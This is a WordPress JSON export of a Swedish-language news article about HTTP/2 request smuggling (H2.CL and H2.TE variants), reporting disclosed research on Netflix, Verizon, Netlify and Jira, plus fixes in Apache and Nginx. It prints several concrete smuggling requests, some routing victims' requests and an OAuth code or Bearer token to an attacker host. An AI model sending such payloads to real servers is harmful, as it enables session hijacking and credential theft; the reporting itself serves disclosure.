{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Ny attack mot frontend-backend-system som m\u00f6jligg\u00f6r infiltration av f\u00f6rfr\u00e5gningar","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Websystemer d\u00e4r frontend tar emot anslutningar via HTTP\/2 och skickar till backend via HTTP\/1.1 har blivit utsatta f\u00f6r en ny variant av attacken 'HTTP Request Smuggling', som m\u00f6jligg\u00f6r att speciellt utformade kundf\u00f6rfr\u00e5gningar kan tr\u00e4nga sig in i inneh\u00e5llet av andra anv\u00e4ndares f\u00f6rfr\u00e5gningar som behandlas i samma fl\u00f6de mellan frontend och backend. Attacken kan anv\u00e4ndas f\u00f6r att injicera skadlig JavaScript-kod i sessioner med legitima webbplatser, kringg\u00e5 \u00e5tkomstbegr\u00e4nsningssystem och avlyssna autentiseringsparametrar. <\/p>\n

Problemet p\u00e5verkar webbproxyer, lastbalanserare, webbacceleratorer, inneh\u00e5llsleveranssystem och andra konfigurationer d\u00e4r f\u00f6rfr\u00e5gningar dirigeras enligt frontend-backend-schema. Forskaren visade att attacken kunde riktas mot system som Netflix, Verizon, Bitbucket, Netlify CDN och Atlassian, och fick 56 tusen dollar i bel\u00f6ningar f\u00f6r s\u00e5rbarhetsuppt\u00e4ckten. Problemet har ocks\u00e5 bekr\u00e4ftats i produkter fr\u00e5n F5 Networks. Delvis p\u00e5verkar problemet mod_proxy i HTTP-servern Apache (CVE-2021-33193), med en fix som f\u00f6rv\u00e4ntas i version 2.4.49 (utvecklarna informerades om problemet i b\u00f6rjan av maj och fick 3 m\u00e5nader p\u00e5 sig att \u00e5tg\u00e4rda det). I Nginx blockerades m\u00f6jligheten att samtidigt ange rubrikerna 'Content-Length' och 'Transfer-Encoding' i den senaste utg\u00e5van (1.21.1). Verktyg f\u00f6r att genomf\u00f6ra attacker har redan lagts till i Burps verktygsl\u00e5da och finns tillg\u00e4ngliga som ett Turbo Intruder-till\u00e4gg. <\/p>\n

Principen f\u00f6r den nya metoden att tr\u00e4nga in f\u00f6rfr\u00e5gningar i trafiken liknar s\u00e5rbarheten som uppt\u00e4cktes av samma forskare f\u00f6r tv\u00e5 \u00e5r sedan, men var begr\u00e4nsad till frontends som tog emot f\u00f6rfr\u00e5gningar via HTTP\/1.1. L\u00e5t oss p\u00e5minna om att i frontend-backend-schemat mottar en extra nod - frontend - kundernas f\u00f6rfr\u00e5gningar, som etablerar en l\u00e5nglivad TCP-anslutning till backend, som utf\u00f6r den direkta behandling av f\u00f6rfr\u00e5gningar. Genom denna gemensamma anslutning skickas normalt f\u00f6rfr\u00e5gningar fr\u00e5n olika anv\u00e4ndare, som f\u00f6ljer efter varandra i kedjan, med separering genom HTTP-protokollets medel. <\/p>\n

Den klassiska attacken \"HTTP Request Smuggling\" baserades p\u00e5 att front-end och back-end tolkar anv\u00e4ndningen av HTTP-rubrikerna \"Content-Length\" (som anger den totala datastorleken i f\u00f6rfr\u00e5gan) och \"Transfer-Encoding: chunked\" (som m\u00f6jligg\u00f6r \u00f6verf\u00f6ring av data i delar) p\u00e5 olika s\u00e4tt. Om front-end till exempel bara st\u00f6der \"Content-Length\" men ignorerar \"Transfer-Encoding: chunked\", kan en angripare skicka en f\u00f6rfr\u00e5gan som inneh\u00e5ller b\u00e5de \"Content-Length\"- och \"Transfer-Encoding: chunked\"-rubriker, men storleken i \"Content-Length\" \u00f6verensst\u00e4mmer inte med storleken p\u00e5 chunked-kedjan. I detta fall kommer front-end att bearbeta och vidarebefordra f\u00f6rfr\u00e5gan enligt \"Content-Length\", medan back-end f\u00f6rv\u00e4ntar sig avslutningen av blocket baserat p\u00e5 \"Transfer-Encoding: chunked\" och resten av angriparens f\u00f6rfr\u00e5gan kommer att hamna i b\u00f6rjan av n\u00e4sta f\u00f6rfr\u00e5gan som skickas. <\/p>\n

Till skillnad fr\u00e5n den textbaserade protokollet HTTP\/1.1, vars analys utf\u00f6rs p\u00e5 radniv\u00e5, \u00e4r HTTP\/2 ett bin\u00e4rt protokoll och manipulerar block av data av en f\u00f6rutbest\u00e4md storlek. I HTTP\/2 anv\u00e4nds pseudohuvuden som motsvarar vanliga HTTP-huvuden. N\u00e4r man interagerar med backend-systemet via protokollet HTTP\/1.1 \u00f6vers\u00e4tter frontend-systemet dessa pseudohuvuden till motsvarande HTTP-huvuden i HTTP\/1.1. Problemet \u00e4r att backend-systemet fattar beslut om analysen av str\u00f6mmen baserat p\u00e5 de HTTP-huvuden som frontend-systemet har satt, utan information om parametrarna fr\u00e5n den ursprungliga f\u00f6rfr\u00e5gan. <\/p>\n

\u00c4ven i form av pseudorubriker kan v\u00e4rden av \"content-length\" och \"transfer-encoding\" \u00f6verf\u00f6ras, trots att dessa inte anv\u00e4nds i HTTP\/2, eftersom storleken p\u00e5 all data anges i ett separat f\u00e4lt. Under konverteringen av HTTP\/2-f\u00f6rfr\u00e5gningar till HTTP\/1.1 \u00f6verf\u00f6rs dock dessa rubriker och kan vilseleda back-end. Tv\u00e5 huvudsakliga typer av attacker framh\u00e4vs: H2.TE och H2.CL, d\u00e4r back-end vilseleds av ett inkorrekt v\u00e4rde f\u00f6r transfer-encoding eller content-length som inte \u00f6verensst\u00e4mmer med den verkliga storleken p\u00e5 kroppens f\u00f6rfr\u00e5gan som kom till front-end via HTTP\/2-protokollet.

\"Ny<\/center> <\/p>\n

Som ett exempel p\u00e5 attacken H2.CL ges en specifikation av en felaktig storlek i pseudo-rubriken content-length n\u00e4r en HTTP\/2-beg\u00e4ran skickas till Netflix. Denna beg\u00e4ran leder till att en liknande HTTP-rubrik Content-Length l\u00e4ggs till n\u00e4r backend anropas via HTTP\/1.1, men eftersom storleken i Content-Length anges som mindre \u00e4n den faktiska, behandlas en del av datan i slutet som b\u00f6rjan av n\u00e4sta beg\u00e4ran. <\/p>\n

Till exempel, HTTP\/2-beg\u00e4ran: :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Kommer att skicka en beg\u00e4ran till backend: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Eftersom Content-Length \u00e4r 4 kommer back-end endast att behandla \"abcd\" som kropp i f\u00f6rfr\u00e5gan, och resten av \"GET \/n HTTP\/1.1\u2026\" kommer att behandlas som b\u00f6rjan av n\u00e4sta f\u00f6rfr\u00e5gan kopplad till en annan anv\u00e4ndare. Detta kommer s\u00e5ledes att orsaka en desynkronisering av str\u00f6mmen och i svaret p\u00e5 n\u00e4sta f\u00f6rfr\u00e5gan kommer resultatet av behandlingen av den manipulerade f\u00f6rfr\u00e5gan att ges. I fallet med Netflix ledde angivandet av en extern v\u00e4rd i rubriken \"Host:\" i den manipulerade f\u00f6rfr\u00e5gan till att klienten fick svaret \"Location: https:\/\/02.rs?x.netflix.com\/n\" och m\u00f6jliggjorde f\u00f6r \u00f6verf\u00f6ring av godtyckligt inneh\u00e5ll till klienten, inklusive att k\u00f6ra sin egen JavaScript-kod i sammanhanget av Netflix-webbplatsen. <\/p>\n

Det andra attackalternativet (H2.TE) \u00e4r kopplat till injektionen av rubriken \"Transfer-Encoding: chunked\". Anv\u00e4ndning av den pseudo-rubrik som kallas transfer-encoding i HTTP\/2 \u00e4r f\u00f6rbjuden enligt specifikationen, och beg\u00e4rningar med denna ska tolkas som ogiltiga. Trots detta ignorerar vissa implementationer av frontend detta krav och till\u00e5ter anv\u00e4ndning av den pseudo-rubrik som kallas transfer-encoding i HTTP\/2, vilken konverteras till en motsvarande HTTP-rubrik. Om rubriken \"Transfer-Encoding\" \u00e4r n\u00e4rvarande kan backend uppfatta den som mer prioriterad och utf\u00f6ra dataanalys i chunked-l\u00e4ge med block av olika storlekar i formatet \"{storlek}\r\n{block}\r\n{storlek}\r\n{block}\r\n0\", trots det initiala uppdelningen baserat p\u00e5 totalstorlek. <\/p>\n

N\u00e4rvaron av en s\u00e5dan s\u00e5rbarhet har demonstrerats med exemplet p\u00e5 f\u00f6retaget Verizon. Problemet r\u00f6rde autentiseringportalen och f\u00f6r inneh\u00e5llshanteringssystem<\/a>, som ocks\u00e5 anv\u00e4nds p\u00e5 webbplatser som Huffington Post och Engadget. Till exempel, kundens beg\u00e4ran via HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Ledde till att backend fick en HTTP\/1.1-f\u00f6rfr\u00e5gan: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Backend \u00e5 sin sida ignorerade rubriken \"Content-Length\" och delade upp str\u00f6mmen baserat p\u00e5 \"Transfer-Encoding: chunked\". I praktiken till\u00e4t attacken att omdirigera anv\u00e4ndarens beg\u00e4rningar till sin egen webbplats och \u00e4ven att f\u00e5nga upp beg\u00e4rningar som r\u00f6rde OAuth-autentisering, d\u00e4r parametrar visades i rubriken Referer, samt simulera en autentisering session och initiera att systemet skickade anv\u00e4ndarens inloggningsuppgifter till angriparens v\u00e4rd. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?...&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik... <\/p>\n

F\u00f6r attacker mot implementationer av HTTP\/2, som inte till\u00e5ter angivandet av pseudo-rubriken transfer-encoding, f\u00f6reslogs en annan metod som var kopplad till injektionen av rubriken \"Transfer-Encoding\" genom att koppla den till andra pseudo-rubriker med radbrytning (vid konvertering till HTTP\/1.1 skapas tv\u00e5 separata HTTP-rubriker i s\u00e5dana fall). <\/p>\n

Till exempel var den n\u00e4mnda problemet k\u00e4nslig f\u00f6r Atlassian Jira och Netlify CDN (anv\u00e4nds f\u00f6r att leverera startsidan f\u00f6r Mozilla i Firefox). I synnerhet beg\u00e4ran HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

ledde till att backend fick en beg\u00e4ran HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Ett annat alternativ f\u00f6r att s\u00e4tta in rubriken «Transfer-Encoding» var att f\u00e4sta den vid namnet p\u00e5 en annan pseudorubrik eller vid en rad med beg\u00e4rningsmetoden. Till exempel, n\u00e4r man kontaktade Atlassian Jira, ledde pseudorubriken «foo: bar\r\ntransfer-encoding» med v\u00e4rdet «chunked» till att HTTP-rubrikerna «foo: bar» och «transfer-encoding: chunked» lades till, och att ange en pseudorubrik «:method»\tv\u00e4rde «GET \\\/ HTTP\\\/1.1\r\nTransfer-encoding: chunked» \u00f6versattes till «GET \\\/ HTTP\\\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

Forskaren som uppt\u00e4ckte problemet f\u00f6reslog ocks\u00e5 en teknik f\u00f6r tunneling av f\u00f6rfr\u00e5gningar f\u00f6r att utf\u00f6ra en attack mot frontend som f\u00f6r varje IP-adresser<\/a> Ett separat anslutning uppr\u00e4ttas med backend och trafik fr\u00e5n olika anv\u00e4ndare blandas inte. Den f\u00f6reslagna tekniken till\u00e5ter inte att man tr\u00e4nger sig in i andra anv\u00e4ndares f\u00f6rfr\u00e5gningar, men g\u00f6r det m\u00f6jligt att manipulera den gemensamma cachen, vilket p\u00e5verkar behandlingen av andra f\u00f6rfr\u00e5gningar, och m\u00f6jligg\u00f6r ers\u00e4ttning av interna HTTP-huvuden som anv\u00e4nds f\u00f6r att \u00f6verf\u00f6ra kontrollinformation fr\u00e5n frontend till backend (t.ex. vid autentisering p\u00e5 frontend kan uppgifter om den aktuella anv\u00e4ndaren \u00f6verf\u00f6ras till backend i s\u00e5dana huvuden). Som exempel p\u00e5 till\u00e4mpning av metoden i praktiken via cache-manipulation har det varit m\u00f6jligt att f\u00e5 kontroll \u00f6ver sidor i tj\u00e4nsten Bitbucket.
\n
K\u00e4lla: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Ny attack p\u00e5 frontend-backend-system som m\u00f6jligg\u00f6r intr\u00e5ng i f\u00f6rfr\u00e5gningar | ProHoster","description":"Webbsystem d\u00e4r frontend tar emot anslutningar via HTTP\/2 och \u00f6verf\u00f6r till backend via HTTP\/1.1 har blivit utsatta f\u00f6r en ny variant av attacken \"HTTP Request Smuggling\", som m\u00f6jligg\u00f6r genom att skicka s\u00e4rskilt utformade f\u00f6rfr\u00e5gningar.","canonical_url":"https:\/\/prohoster.info\/sv\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sv_SE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/sv\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}